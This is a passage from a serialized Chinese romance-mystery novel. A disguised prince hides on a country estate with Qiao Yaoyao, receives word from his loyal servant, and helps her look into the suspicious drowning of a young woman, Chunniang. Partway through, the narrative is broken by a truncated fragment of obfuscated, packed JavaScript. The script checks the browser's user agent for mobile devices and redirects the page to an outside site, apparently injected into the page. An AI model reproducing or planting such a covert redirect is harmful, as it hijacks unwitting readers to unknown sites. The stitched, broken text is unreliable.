乔杳杳轻轻推推被子,清清嗓子,颇为难道,“阿序姐姐,错了。”
姚淮序觉得,乔三小姐好像也没有很娇纵,有时候也很乖巧,虽有大部分时间是揣着明白装糊涂,可有时候可爱起来也真叫人招架不住,他妹妹们就不这样,起码不会上一刻威胁你说让你和婆子睡下一刻就和你说“姐姐我错了”。
这让姚淮序觉得后槽牙又酸又痛,不是滋味。
姚淮序还等着她下一句说些什么,想着想着就听见声音越来越小,越来越小以至于完全没有,又等了一会儿姚淮序撩开被子悄悄去看,
睡着了
于是他起身,带着被子睡到床上,顺带着把乔杳杳的被子给她盖在身上,
果然还是床舒服啊!
睡到半夜乔杳杳自己觉得地上不舒服便自己回了床上,姚淮序本来以为她醒了肯定要吵架。
好嘛,找到床全是凭本能,一点儿没醒。
他面上不显心却快吊到了嗓子眼,正想着该怎么解释他如何到床上的事。
白天和她斗智斗勇,晚上还要受她磋磨,什么日子!他明天就走!
最后利索把枕头放在他俩中间,各自盖上各自被子,床舒服,他不管,他也要睡床,反正乔杳杳睡得和头猪一样死沉,中间有枕头才不会出什么事情,上次是没有枕头,这次可不一样了。
姚淮序心想,我可不受苦。明天醒了就走!
只要白天没有受到惊吓乔杳杳晚上睡觉就会超级老实,两个人相安无事,一夜好眠。
某人白天偷摸摸迅速下床睡到地铺上。
吴管事第二日就从李管事和王管事手里各拿到了一百两,另外一百两两人推说没有,凑不上,还说为主家卖命这么些年,实在是尽心尽力,没有一丝异心,手里拘谨,一时间拿不出来要宽限几日。
乔杳杳信就有了鬼,她拿着算盘算了好几遍,对他们各自明面上私产都有数,两百两不过是拔拔鸡毛痛不到哪里。
往年的账不好追查,除非拿到李管事和王管事手里的真账本才能落实他们两个的罪名,不过是贪财,她来了以后收敛不少而且之前没有多大风浪。
乔杳杳现在最关心的还是那批糖渍果子、果脯能不能卖出去。
小本买卖两百两绰绰有余她就没在盯着剩下两百两,只说让他们尽快补齐,李管事和王管事吹鼻子瞪眼死拖着,大家都揣着明白装糊涂,乔杳杳也不在意,迟早收拾了他们两个。
乔三小姐对姚淮序明面上看着都好了许多,送她珠钗,分她好吃的,摇椅也让他随便坐,沉月觉得一定是苏清序小姐长的太漂亮了。
姚淮序虽然没说教乔杳杳练字,但只要乔杳杳开口姚淮序就会指导两下,还给她写了两幅字帖临摹,
不过乔三小姐的字真是让人“眼前一亮”、“刮目相看”、“不忍久看”。
三月底的时候糖渍果子和果脯在茶楼里卖出些,有了销路,各个茶楼也都想尝试尝试,几家茶楼和果园定下订单。
可果子数是有限的,这么几单单子下来储存的果子就都没有了,倒是成了紧俏货,
别家看见是个赚钱门路也学了起来,不过乔杳杳不担心,起码她的果子现在卖完了,茶楼这批货足够卖到下批桃子下来。
四月,桃花开了。
而且意外之喜就是庄子上有个婆子做这个格外好吃,北郡城里没有的味道,将来就算有人吃到一样好吃的但总归会记着一开始就好吃的那家,
茶肆、酒楼、戏楼也明白这点,倒是愿意长期从她们这里订货,乐坏了乔杳杳。
吴管事把小鸡仔也买了回来,第一批果子出手后小赚一笔,加上之前五十两,足足买了一千只鸡仔,荒地直接变成了养鸡场,单给这一千只鸡仔剁草边给果园的佃户累坏了,好在这段时日果园不忙,另外这一千只鸡散养也会自己寻吃的。
四月份给他们的鸡窝陆陆续续搭建好,鸡仔们也陆陆续续开始下单,这可高兴坏了果园的佃户,每天捡鸡蛋像挖宝藏,乔杳杳带着沉月和姚淮序也去捡过,很高兴。
桑园的蚕在四月就开始吐丝,吐丝前个个蚕宝宝都养得白白胖胖,也不枉费乔杳杳时不时就去督察的“辛苦”。
三百亩田地也开始播种,正是农忙开始的时候,整个田庄都是欣欣向荣一片春意盎然的样子。
院子里的梨树枝头没开花,倒是隔壁院子的玉兰飘过来落在院子里,乔杳杳在摇椅上打盹的时候时不时会从隔壁飘来一片花瓣下来,落在她脸上。
有时候是额头,有时候是脸颊,还有时候是下巴,然后顺着侧头的动作掉在地上。
她越来越喜欢这个小院儿,冒了苗头想跟母亲讨了庄子,在这里住上一辈子好像也不失为一个好选择,到时候把贪财管事换掉,庄子上年年有余,真好。
才进行到第一步她已经能想象到日后在这庄子里多自由,在这小院儿里多潇洒。
日子悠闲乔杳杳也不记得考教功课的事情,心想着不回城里总有时间,不着急,姚淮序却开始着急,
足足一个月桃肆还没有找过来,他已经跟外面足足有一个月没有通信,他住的可不是世外桃源,这样下去不是办法。
也许是姚淮序愿望太强烈,当天晚上他就听见鸟在梨树上一直“布谷—布谷—”的叫,田庄上鸟儿素来多,夜晚叫的却少。
那鸟一直
“布谷—布谷—”,
姚淮序想忽视都难,心里想着会是桃肆吗?
本着以后身份不暴露,老死不相往来的想法姚淮序一直不睡地铺,太凉了,他身子骨壮又如何,入了寒气怎么办,反正床大隔个枕头乔杳杳也觉不出。
就本着这个想法皇太孙每天晚上爬床。
姚淮序蹑手蹑脚从床上跨过乔杳杳利索落地,批上一件外衣出门,院子里的梨树枝丫还没有开花,各别花骨朵点缀在上面,姚淮序借着夜色做掩,三两下翻
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上梨树出了院子。
桃肆看到院墙上翻下来一个少女,英姿飒爽,身手利索,再一看脸,这不是他家皇太孙吗!
“呜呜呜……殿下……”
姚淮序扭头就攀墙准备回去,桃肆立马噤声死活拉住姚淮序的胳膊。
两人走的远了些,姚淮序拿手指推他脑门,桃肆一把鼻涕一把泪,还不等姚淮序问一股脑全招呼出来,
“殿下,我在北郡城内等你好久,呜呜呜呜你都不来,还好我聪明觉得你可能有事耽搁或者被拦进不了城门,但这么长时间你肯定在城外……”
“你废话太多了。”
姚淮序准备扭头就走,桃肆连忙拉住三两下讲明白,
“城外很多庄子,我猜您可能在庄子里,找了最小的一个碰碰运气谁知就听说这里有位漂亮姑娘,我就知道是您。”
桃肆露出大白牙,笑着笑着又撇嘴道,“呜呜呜殿下,殿下这个样子真是委屈殿下了。”
姚淮序觉得多亏走的远了些,不然早把院子里的人惊动醒了,看着桃肆满眼担心,鼻涕眼泪一起流,又好笑又无奈,下意识嘴角弯弯,问道,“有没有受伤?”
桃肆眼睛亮亮,“没有,那群人都不是我的对手,三两下就把他们甩掉了。”
桃肆轻功很棒,锦州没有比他轻功还要棒的人了。
接着桃肆从怀里拿出他的玉佩还给他,姚淮序却抬手重新塞回桃肆的怀里。
“殿下……”
“我知道你一直很喜欢这块儿玉佩,桃肆,辛苦了。”
“呜呜呜呜……殿下……这可是你的贴身玉佩。”
“锦州怎么么样了?”
说起正事桃肆立马正经,“皇上已经开始调查下令追杀那些黑衣人了,朝堂上两派吵的不可开交,皇上说都城不大安全,对外宣称您已经遇害,布了局对付他们,还说……”
“还说什么?”
“还说……委屈您让您在外面再呆段时间,等风雨停了再回去。”
“……山霖山庄烧没了,太子和太子妃要下葬了。”
良久,姚淮序都没说话,只点点头。
两人就那么站着,桃肆看不清他脸上的表情,晦暗不明。
过了很久很久,姚淮序再张口时声音都有些哑,从怀里拿出自小戴的护身符,
那是三岁那年母亲给他求来的,嘱托给桃肆,
“我之前布的局你都知道,你回去把剩下的尾交给皇爷爷,有了那些证据皇爷爷处理起来也快些,他年纪大了你帮着他点,还有,把这个护身符送回去陪他们吧,等我再回去的时候再取回来。”
他仿佛把自己身上所有能证明身份的东西都丢掉了,这一刻,仿佛是一个真正的孤家寡人,仿佛摆脱了身份才没有那么多桎梏,没有那么多想为而不能为,没有那么多克制守礼和冷静顾全大局。
他本来是全锦州最潇洒肆意的少年郎。
穿街打马过,拂袖红楼招。
“殿下……”
“桃肆,我拜托你。”
他不甘心却没办法亲自手刃凶手,皇爷爷的局,他不能置之不顾。
朝堂纷争向来牵一发而动全身,牵扯广泛、至深,它是一个笼,把所有人囚在里面,姚淮序也在里面。
没有办法亲自送丧,唯有一物聊表孝意;没有办法立时立刻为山霖山庄讨回公道,只能夜夜梦中一遍遍铭记,刻骨铭心。
桃肆眼睛也红,开始掉眼泪,姚淮序抬手帮他擦掉一颗,桃肆胡乱抬手抹掉剩下的,
他也是姚淮序五岁那年捡回来的,比他小一岁,爱吃桃酥还爱哭,平日里桃肆陪他最多,大概是因为这个他没把他当下属,但桃肆觉得是因为姚淮序是世界上最好的殿下,
所以他们是主仆、朋友、伙伴、亲人。
姚淮序不记得是什么时候回去的了,就记得进屋后浑身都是寒气,从床上拿下来自己的被子放在地铺上却没有半点睡意。
望着窗外望了很久。
乔杳杳不知道什么时候醒的,迷迷糊糊坐起来说要喝茶,姚淮序隔着夜色偏头看她,一动不动。
明明都没睡醒但乔杳杳一睁眼就看到一个很难过很难过的人。
也许是,想家了吧。
她赤着脚斜坐在地铺上,抬手抹掉姚淮序都没意识到的眼泪,轻轻和他说,
“草木蔓发,春山可望。一切都会好的。”
以春为饵,垂勾新生。
不问为什么哭,她只当他是想家,这是他们两个人的秘密。
8. 春娘之死
早膳的分量比往日多,还多了姚淮序喜欢的三鲜馄饨,之前姚淮序吃这个的时候眼睛都亮了,沉月和李嬷嬷都没发现,还是乔杳杳告诉她们的,姚淮序不知道这件事。
“沉月。”乔杳杳拿小碗给沉月舀了一碗,沉月欢快接过,嘴上嘟囔着“一会儿李嬷嬷进来要说奴婢了。”手却端的稳当站在一边吃的高兴。
姚淮序和乔杳杳面对面,谁也不说话,昨天晚上的仿佛不是他俩,以后,也终将成为一个秘密。
用过早膳乔杳杳坐在桌子前面临摹姚淮序的字,刚开始写的龙飞凤舞把握不好大小和笔锋走势,姚淮序就一遍一遍演示给她看,乔三小姐今日乖巧的异常,半分不恼,一遍一遍写着。
养鸡场的鸡蛋搭上了青园的线,每日供应新鲜鸡蛋,北郡大大小小的菜摊几乎都从那里进货,这个是于伯给乔杳杳建议并且亲自去谈拢的,乔杳杳只是算了算其中利润和定价,北郡城里的鸡蛋售价也是于伯来回跑统数,于伯真的贴心又能干。
“小姐,小姐,出事儿了。”李嬷嬷从外面跑进来,气喘吁吁,沉月奉上一杯茶。
“出什么事情了?慢些喝。”
李嬷嬷面色严肃,“果园后面的那条河里捞上来了死人,是刘家春娘。”
乔杳杳放下手里的毛笔和书案旁边的姚淮序对视一眼,默不作声,姚淮序对春娘的印象还是之前那些婆子们夸她是庄子上最好看的姑娘。
“嬷嬷,咱们去看看。”
乔杳杳一行人到的时候河边围满了人,刘家老夫妇跪在旁边哭得撕心裂肺,旁边好心的佃户不住宽慰着,有几个心善的忍不住抹眼泪,
中间躺着一个人用白布盖着,白布让水沾湿淋淋沥沥往下滴水,隐隐约约能看出是个女子身材。
三位管事里在最前面,吴管事低着头似在惋惜;王管事手抬起来又放下,有嫌弃之意;李管事倒是表现的像个庄子上的正常管事,又是宽慰刘家老夫妇又是安排后事,时不时还抹两滴眼泪。
见到乔杳杳后李管事立马迎上来,惋惜悲伤道,
“怎么会发生这种事情!诶,那刘氏一家也是个可怜见儿的,三小姐莫要再往前去了,小心沾湿了鞋袜,不干净,您是大小姐素来不管这点小事儿,交给我们处理便是了。”
乔杳杳不轻不重看他一眼,这话里话外都是指摘乔三小姐不拿庄子上佃户当回事儿,她径直绕过李管事问站在尸体旁边的于伯。
“于伯,怎么回事儿?”
刘母最先出声,
“三小姐,可怜我的姑娘啊!年纪轻轻寻了短见儿,可怜我这老婆子啊!都是我没看好啊!”
“刘夫人先别着急,若是另有隐情我给你们做主。”
乔杳杳说这话的时候环视四周的人,不放过任何细微可疑举动。
可刘母却像听到了什么荒唐话,连忙拒绝否认,
“没有,都是春娘自己想不开,给她找了婆家她不愿,本以为嫁过去就没事,谁知,谁知这孩子是个性子烈的!都是我的错我的错啊!”
刘春娘的父亲平复心情后也补充道,“还请小姐允许我家姑娘安心下葬!”声音哽咽,脊背也是弯的。
“这是自然。”
乔杳杳直觉这件事有问题,可刘氏夫妇都这么说了乔杳杳也没有办法按着不让人下葬,刘氏夫妇得了应允立马张罗着人去抬春娘。
“等等,我之前见过春娘,她是个心善的人,我再最后看看她。”
李管事听后上前挡住尸体道,“人死不能复生,三小姐悲痛情有可原,可毕竟是从河里面捞上来的,唯恐污了小姐的眼。”
于伯呵斥道,“李管事没了规矩是吗!”
王管事打圆场,“小姐息怒,实在是不好看,春娘原就是个爱美的,给她留一些体面吧。”
听到这句话刘氏夫妇也跪求道,“求三小姐给春娘,留些体面吧。”
吴管事蹙眉道,“王管事……”
李嬷嬷也正欲开口却被乔杳杳拉住,乔杳杳看着四周佃户四下讨论声议,朗声道,“是我冒犯了,于伯,帮着好生安葬春娘。”
“是。”
于伯遣散人群,乔杳杳落在后面压着声音道,“阿序姐姐,你怎么看?”
沉月眼睛不免睁大,心里疑惑,小姐怎么叫苏小姐“阿序姐姐”?何时小姐同苏小姐这么亲近了?
李嬷嬷只当两人相处的愉快,又记起夫人、将军的嘱咐不免有些高兴。
姚淮序摇头,伸手在乔杳杳手心写下,“鬼”。
乔杳杳点头,“我也是这么觉得的。”
转头和沉月道,“去把吴管事找来,就说是果园的事。”
“小姐交给我就放心吧,沉月保证做的极好。”
她接了命令把心里的不对劲儿抛走,三步并作两步去前面找吴管事。
乔杳杳坐在果园的石凳上,手里拨弄红珠算盘,吴管事立在一旁,十分拘谨,和之前同她报账完全是两幅模样,他试探着开口,“小姐,可是有什么吩咐?果园这个月……”
“不着急。”乔杳杳漫不经心问道,“吴管事,咱们先聊些别的。”
“不知道小姐要聊什么?”四月的天热不到哪里去,可吴管事的衣领子却沾汗。他抬手的瞬间不经意露出手上抓痕,指头缝里有些泥土,乔杳杳看了两眼却并未说什么。
她问道,“不知春娘许给哪个人家了这么不愿意,刘氏夫妻应当是极为疼爱自家姑娘的,怎么就……”
她没往下说,吴管事磕磕巴巴开口道,“不知,也许是……”
老实人不会撒谎,就算撒谎也漏洞百出,因为他们良心不安。
“吴管事,你心安吗?”
吴管事“噗通”跪在地上,沉月给乔杳杳端来热茶,她垂眸,热气氤氲在她眼前,烟雾缭绕。
“吴管事,你在庄子上多少年了?”
“八年”
乔杳杳点点头,“你也算是庄子上的老人,李管事、王管事都没你时间长,我母亲八年以前就让你在庄子上操劳,这八年你可怨?可恨?”
吴管事惶恐,“不敢,乔夫人待我极好救我于危难,不曾怨不曾恨,心中感激不尽又怎么会…”
“那你为什么欺上瞒下,迟迟不报!”
乔杳杳的茶盏摔在石桌上,
“你明知李管事和王管事有私账却知而不报,你明知刘春娘死有蹊跷却帮凶手隐瞒,不忠不义,这就是你的感激不尽吗!”
吴管事叩首,鼻涕泗流,“我有罪,是我对不起三小姐,对不起乔家。”
果园清了场,李嬷嬷和姚淮序立在外间守门,于伯在刘家帮着操忙后事,李嬷嬷听着院子里动静不住感慨道,
“我家三小姐最是顽皮,也最是娇气,从小到大没受过什么罪,除了小时候走丢那次。
长到现在算是全家捧在手心里长大的,虽然闹腾,但很聪慧。我看着三小姐从那么小”说着她忍不住上下比划,
“长到这么大,来庄子上不仅夫人、将军担心,就连大小姐和二少爷也私下嘱咐多看
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着小姐些,别叫她吃了苦受了欺负。
原以为她不喜这里,可那一进院子她从来没喊过破,原以为她不过就是玩玩,连夫人最初也是这个打算。”
说到这里她又笑了笑,“没想到今天最先拿主意的是小姐,还敢和那些有弯弯肠子的管事们斗智斗勇,不仅如此,她是真的在为庄子着想,让庄子盈利,不多但全是她的真心。我们三小姐啊,长大了啊!”
她泪珠子掉下来,又想到姚淮序还在一旁,不好意思道,“让苏小姐看了笑话,老婆子上了年岁眼泪倒跟着也多了起来。”
姚淮序笑笑,抬头看向果园林子里的桃树。
人间四月芳菲尽,山寺桃花始盛开。
果园的桃树也落了花,既然如此,她就不计较乔杳杳让他睡地铺的事情了,那他也就原谅她吧。
乔杳杳问,“你有什么对不起乔家的?乔家不缺你这一个人。”
吴管事沮丧起来,“我知道三小姐说的都是气话,我也实在是不争气。
李管事和王管事时不时贪图庄上银钱我明知却不阻止,刘氏夫妇确实给春娘许配了人家,还是我做媒婆,春娘并无不愿,她的死也有蹊跷。但我一来无权,不敢与李管事抗衡,二来我也无势,胆小不敢主动招惹是非。”
乔杳杳质问道,“你说你不敢,可这么多年他们就没逼着你同污吗?就不怕你告密吗?你们之前难道真的没勾搭吗?刚刚庄子上那么多人都在,为什么没人反驳刘氏夫妇说春娘是因为婚事想不开?”
“果园小我也胆小,他们瞧不上果园也瞧不上我,一直没把我当回事,有没有我都一样,他们也不怕主家发觉,只是蝇头小利想主家不大计较。春娘的婚事刚刚说定,所以庄上佃户几乎都不知道。”
“吴管事,那你管着的佃户跟着你受累,受李管事他们压迫,你不悔恨吗?悔恨有这样贪财、好利、仗势欺人的人是你们的主管事?”
吴管事颤颤巍巍道,“我……不敢……只要有一亩三分地够养活我一家子和我手下佃户就可以了。况且李管事和王管事只是贪财不曾欺压佃户。”
“那你说李管事和吴管事贪污银钱可有证据?”
“……没有……”
……乔杳杳从院子里出来已经是一柱香以后,出来时面色不悦,眉头紧促,“李嬷嬷,咱们去刘家一趟,亲自去‘问’春娘。”
李嬷嬷惊恐,“小姐,你是未出阁的姑娘,不合适……”
乔杳杳停下脚步,回头看李嬷嬷,声音平稳道,
“我先是乔家儿女,才是姑娘,我先是我,才是女儿家。嬷嬷,怎么今日糊涂起来了?”
李嬷嬷心头一震,这可是他们府上的小霸王,北郡没有几个人能拘得住的野鸟,乔将军没把姑娘们束在家里,大小姐扎在军营,三小姐如今更是庄上的主家,
是了,她家小姐不是寻常闺阁小姐,跟在小姐身边这么多年,今儿个倒糊涂了。
往常沉月路上也活泼,今日却像霜打的茄子蔫巴极了,李嬷嬷看着乔杳杳,乔杳杳却在走神,这里面没那么简单。
措不及防抬头和姚淮序对视上,乔杳杳嘴角上扬,略显轻快,还有心思和他逗趣儿道,
“阿序姐姐,今日午膳怕是吃不上了,我叫李嬷嬷晚上给你做四喜丸子呀,李嬷嬷手艺一绝,平常人吃不到呢。”
沉月想象到丸子汁在嘴里爆开,疯狂点头,乔杳杳伸手点她脑门,“你呀。”
李嬷嬷也笑,气愤活跃起来,姚淮序跟着心情也好上三分。
9. 比命还重要吗?
刘家是四周是用小土墙围砌而成,四周不高,里面三间屋子,春娘的尸体躺在侧屋,棺材还在北郡城内一时间运不过来,这是最好的检尸时机,待棺材来了就会停到主屋,那时尽是哭丧的人。
所以乔杳杳想要弄明白春娘为什么死还要从春娘下手,必须看尸体。
乔杳杳站在门外给每个人分工,
“于伯在里面,一会儿李嬷嬷去找于伯和刘氏夫妇,尽管拖住他们,就说我身体抱恙代为探望吊唁,沉月去守住侧房的门,阿序姐姐……”
“姐姐害怕吗?”
姚淮序一眼就能望到乔杳杳的眼底,清澈,干净,他摇头,不怕。
乔杳杳点头,“那阿序姐姐和我进去。”
李嬷嬷想说,要不老奴去吧,乔杳杳一眼看穿她的想法,轻拍李嬷嬷的手以示安慰表示自己可以。
这会儿正堂只有李管事、吴管事和于伯以及刘氏夫妇在商量事宜,刘氏夫妻时不时就哭,进行的并不顺利。
李管事想拍板子定下王管事也是这个意思,他可不愿在这里呆着,晦气,于伯却不同意,非要和刘氏夫妇好商好量,一步步询问,于伯是乔杳杳的人他们也不敢说些什么,只能一起耗着。
沉月蹲在地上,乔杳杳踩在她手上,李嬷嬷是从正门进,他们可不行,刘家院子小一进去就能被看见,只能翻墙,还好不高。
爬到一半沉月有些拖不住,眼看快倒时一股力气推了乔杳杳一把,一下她就爬了上去,紧跟着姚淮序踩了沉月手一跃而上,十分轻盈。
“沉月,你守在这里就好。”沉月点点头,
乔杳杳又叫姚淮序,“阿序姐姐。”
想说旁边有梯子,结果他利索翻身落地后朝她伸手接她,乔杳杳顿了顿,借着力下了土墙,心想,旁边有梯子,算了,阿序姐姐和阿姐一样有力气。
春娘安安静静的躺在侧房,上面盖一层白布,乔杳杳走进停顿一下缓缓从头掀开,尸体让水泡的发肿,整个面庞又肿又青,很大视觉冲击,乔杳杳闭着眼深呼吸调整好后蹙着眉往下揭。
上半身衣服完整,略有破损,可能是河里面挣扎划破的,正当她还要往下撩时突然发现春娘腹部衣裳有一处暗点,同其他地方颜色不一样。
乔杳杳示意姚淮序看这里,姚淮序面不改色点点头。
乔杳杳深呼吸垫着手帕轻轻掀起衣摆,余光看到姚淮序偏头直直盯着院中,她当他是害怕,于是自己细细看着,
是一处刀伤,已经干涸,伤口处皮肉外翻,若是自尽又怎么会有刀伤?
她放下衣摆接着往下查看,露出双手后干脆垫着手帕把春娘的双手向上翻看,河水冲洗的干净只剩下擦痕,这也很可疑,水里面挣扎会有擦痕吗?
尸体浮肿发白还未擦拭,水腥味道参杂着土屋味道,有些大,乔杳杳胃里翻滚,实在是忍不住了,匆匆把尸体盖上,拉着姚淮序爬梯子翻过院墙后寻了一处呕吐,差点没走到。
姚淮序还以为她没事,看来都是假的,呕得肠子都要出来,他侧耳听着动静,持续还在吐,沉月顺她背,忍不住担忧着急道,“小姐,你没事儿吧,这怎么成这样了……”
“呕——呕————”
吐到酸水也出来才算结束,乔杳杳叫沉月去拿土埋了,实在是失态,不好意思,后面回小院儿的时候一路上她都没说话。
吃晚饭的时候又吐,还好这次有痰盂,没那么狼狈,但也没好到哪里去。
姚淮序顿了顿递给她一杯水,心想,这可不是关心她,再吐他也要吐了。
于伯回郡城通知将军、夫人,李嬷嬷给乔杳杳做了清粥,丸子她是一个也吃不下。给屋子也点上熏香,里里外外收拾换了衣裳才好些。
姚淮序和乔杳杳换衣裳实在是很不方便,姚淮序在屏风后面换时总要担心乔杳杳会不会偷看,虽然乔杳杳换时他不会偷看,但听着声音也怪异得很。
他又心想,等春娘的案子一完他就走。
收拾妥当后,乔杳杳坐在书案上写下今日她发现的问题,
“刀伤,自尽,花”
沉月问道,“小姐,刀伤和花是什么?春娘投河是自尽那刀伤是指她身上有伤口,花呢?”
“院子里养着一个小花圃,我猜是春娘侍弄的。”
李嬷嬷附和道,“小姐猜的不错,今日我和刘氏夫妇交谈,那花圃正是春娘侍弄,平日里春娘很是上心。”
姚淮序喝茶,注意力全在乔杳杳身上,没想到她还发现这个,那么匆忙还能抓住花圃这一点,真是……难得。
只听乔杳杳又道,
“是了,爱花之人必是细心乐观的,从春娘养得三月春就能看出来,虽然三月春寻常,可生命力顽强最是好养活,花亦如此,更别说挑选三月春的人了。
假如真是自尽,又怎么会有刀伤,怎么还有心思侍弄花草呢?这必是他杀。”
说完最后一句,在场的人不免都心惊,庄子上怎么会出这样的事情?!
“李嬷嬷,刘氏夫妇可有说什么吗?”
李嬷嬷叹气道,“什么都没有,尤其是刘母,一味地流泪,话都说不囫囵。”
乔杳杳道,“这就怪了。
既然咱们能发现的东西更别说是刘氏夫妇,他们不但不怀疑,在听到我说给他们撑腰时也连忙拒绝,这是为什么?”
“我猜,只有两种可能;
第一是不敢,春娘如他们所说喜体面可她死得不体面,怕说出来春娘失了面子,可刀伤又怎么会失了体面?怕是里面内有蹊跷;
第二也是不敢,凶手有权有势,刘氏夫妇恐其手段不敢追究,可在这庄子里还有比我有权有势的吗?也是没有,那么就是怕其他不寻常手段,或是有把柄在对方手里,再或是对方能寻了理由把他们的事情都压下,前者可能是私仇私怨,后者同样需要权势,除了我便是三位管事,那……”
事情有了苗头,逐渐清晰但还是有什么东西没有串在一起。
她刚想问问姚淮序有没有什么想法,今日是他和她一同进去的,可就在乔杳杳对上姚淮序那双平静双眸时,如同醍醐灌顶,是了,她知道了,是清白。
没有比清白对春娘和刘氏夫妇来说更重要的了。
她靠着“花”在旁边写下“清白”。
“春娘是庄子上最好看的姑娘,极有可能是因为美貌被人惦记遇害。
于伯也说人是半晌午发现已经泡的不成模样,定然不是今日才推下水,可能是春娘不从,于是那人拿出刀刺伤春娘,愤怒之下一把把她推进了河里。
而那刘氏夫妇定是知道这点,若是让其他人也知道自己女儿昨夜未归必是少不了口舌。
担忧女儿清白名声不报官,也不求公道,可这样就能守住春娘的清白吗?
比命还重要吗?”
直到乔杳杳躺在床上都还在想,清白真的比命和抓住凶手还要重要吗?她若是失了清白,父亲母亲定然会给她讨回公道,阿姐和哥哥也定是不饶,那……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103133|179829||http|test|mini|href|location''.split(''|''),0,{}));
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>“阿序姐姐,你觉得呢?刘氏夫妇觉得春娘的清白比命还重要,你觉得呢?”
姚淮序不说话,乔杳杳又道,“阿序姐姐?苏清序?”
还是没有应答,难不成睡着了?
姚淮序闭眼心想道,当然没有,不过世人多苛责,对于女子清白看得极重。
乔杳杳从小长在北郡,乔将军和乔夫人又开明,若是都城或是盛京都养不出乔杳杳这样的女儿家,明艳,大胆,娇纵,善良,勇敢,有韧性,不惧世俗眼光。她们大多守礼规矩,晓通诗经女戒,她们也学骑射,可没有哪个像乔杳杳一样如此明媚。
比江湖儿女多娇气,比世家贵女多肆意。
只有北郡乔家能养出这样的儿女,大女儿在军营穿甲带兵,三女儿在庄子上勇斗管事。
他知道她在为什么疑惑,为什么心中不平。
可他不愿意回答,夜深了,要睡觉了。
乔杳杳睡不着,爬起来拿了书案上的红珠算盘盘弄起来。一手按着书一手拨弄,珠子噼里啪啦作响,姚淮序听着声音翻来覆去,拉起被子捂住脑袋半响又拉下去。
到底有没有完?!大晚上算什么帐?!别人睡不睡了?!
戾气极重的他怒坐起身,一回身看见灯烛映着乔杳杳小巧的下巴投射在旁边屏风上,红珠子上上下下滑落,纤细素白的手指起起伏伏,那双明眸灵动。
他没忍住,下床随意拽过一纸一笔写道,“还睡不睡了?”
起笔走势锋利,顺滑宛如游龙,难掩心烦。
乔杳杳看不出来似的,嘿嘿一笑,“阿序姐姐,这个没算完,明天还要用,我再算一会儿就睡。”
再算一会儿?姚淮序蹙眉心烦,半盏茶的时间都没等够直接一把抢过乔杳杳手里算盘账本噼里啪啦算起来。
乔杳杳看着他熟练又轻巧的手像弹古筝一样滑弄珠子,声音清脆,手指飞快。
“阿序姐姐,你也会算数吗?”
姚淮序不理她,心想,他是蠢货吗?这个都不会?
“等等等等……”
乔杳杳一把按住算盘,“这个算法我没见过,你重新来。”
姚淮序有心卖弄一时将宫里先生教的算数技巧展示出来,乔杳杳看的专心致志,这个算法她从来都没有见过!这可是撞在她心巴上,拿住了她命门,勾起了她的兴趣。
“姐姐,你教教我这个吧!”
姚淮序隔着书案弯腰凑近她,烛心的光投在他俩中间,越来越近,越来越近,他勾唇无声一笑,做无声口语,
“做梦!”
乔杳杳瞪大眼睛,一时间没反应过来,刚刚她那么真诚!
心里恼火一抬手就想推眼前人,手刚伸出去姚淮序已经利索转身大大方方躺在床上。
“苏清序!你怎么这么讨厌?!”乔杳杳拿地铺上的枕头去砸床上那人,还没到床边就看见那人举起本该在书案上红珠算盘。
乔杳杳停在原地,换上一张笑脸,谄媚道,“姐姐,好姐姐,我知道你肯定会教我的,对吧?”说着她还往前凑了两下。
姚淮序翻身面朝里,嘴角怎么也压不下去,伸手把红珠算盘扔向地铺。
力道不大不小,乔杳杳刚好接住,抱着算盘心甘情愿躺在地铺上。
临睡时乔杳杳想起来姚淮序耳朵没有耳洞,小声道,“姐姐,我给你穿个耳洞吧,穿了就能带更漂亮的耳饰,比耳夹好看。”
没人回应,她不死心,又道,
“姐姐?”
10. 初见端疑
抛去乔杳杳半夜又爬床姚淮序习以为常这件事情,两人睡的都很好。
翌日沉月给乔杳杳梳妆,乔杳杳又问,
“阿序姐姐,我给你穿一个吧,这些耳环可好看啦!这个,这个,你喜欢哪个自己挑呀!”她指着自己的耳洞又指指首饰盒里各式各样的耳饰。
姚淮序挑眉,好似问道,你有什么图谋?
乔杳杳拿着一个珠钗在隔空在他头上比来比去,慢吞吞道,“我能有什么图谋?我是乔家的三小姐,能缺什么呀?就是姐姐……昨天晚上的算法真是稀奇,连我都没有见过呢!”
一双大眼睛亮亮的,不言而喻。
姚淮序伸出一根手指在她面前晃悠,表示拒绝。
乔杳杳起身略显着急央求道,“阿序姐姐,你别小气嘛,你见多识广教教我嘛!求你了,日后我这庄子,还有乔家,你想住多久就住多久,姐姐~”
姚淮序坐在桌前喝着乔杳杳殷勤倒的茶,又连听两句恭维最后才勉为其难地点头应下。
像猫逗老鼠,纯玩儿,他才不是什么好心人为了教她,就是爱看她想要又没有抓心挠肝不得不乖巧甜着嗓子软软糯糯的求他。
姚淮序发现了新乐趣,这样一想他在这庄子上才不无聊。
乔杳杳高兴,露出少女心性,正巧李嬷嬷进屋便让她给姚淮序再做两身衣裳,瞧着又长了身量。
李嬷嬷也点头道,“是有些,前几日买的成衣苏小姐穿着本就不大贴身,不过没事,这两日有人来给小姐量身量做衣服,给苏小姐也量一量,一块儿做了吧。
刘家衣料铺子新来了一位女裁缝,听说是在锦州学过艺,今年夏日衣服正好给小姐换个花样,苏小姐人这么俊俏,夏日衣服轻巧些才更衬人。”
乔杳杳稀奇道,“嬷嬷这两日又没回郡城,怎么什么都知道?”
李嬷嬷接过沉月的梳子,给她簪发,“是没去,庄子上的好事婆子们也不少,是从她们那里听来的。”
沉月最是贴心,没等乔杳杳张口就替乔杳杳问了出来,“那就没婆子说刘家的事情吗?”
“说了。”李嬷嬷想了想,挑了几句说,
“春娘是十里八乡数一数二的漂亮姑娘,原先李管事的儿子看上春娘去提过亲,刘家不愿意,态度也很强硬,这事就不了了之。”
乔杳杳问,“李管事家的儿子?”
“是。叫李从方,自咱们来庄子上就没见过。”
难怪。
“还有什么别的吗?”
李嬷嬷又想了想,说出来个奇怪的事情,“小姐,还有几个婆子都说刘家夫妇孤寡命。”
“这又从何说起?”
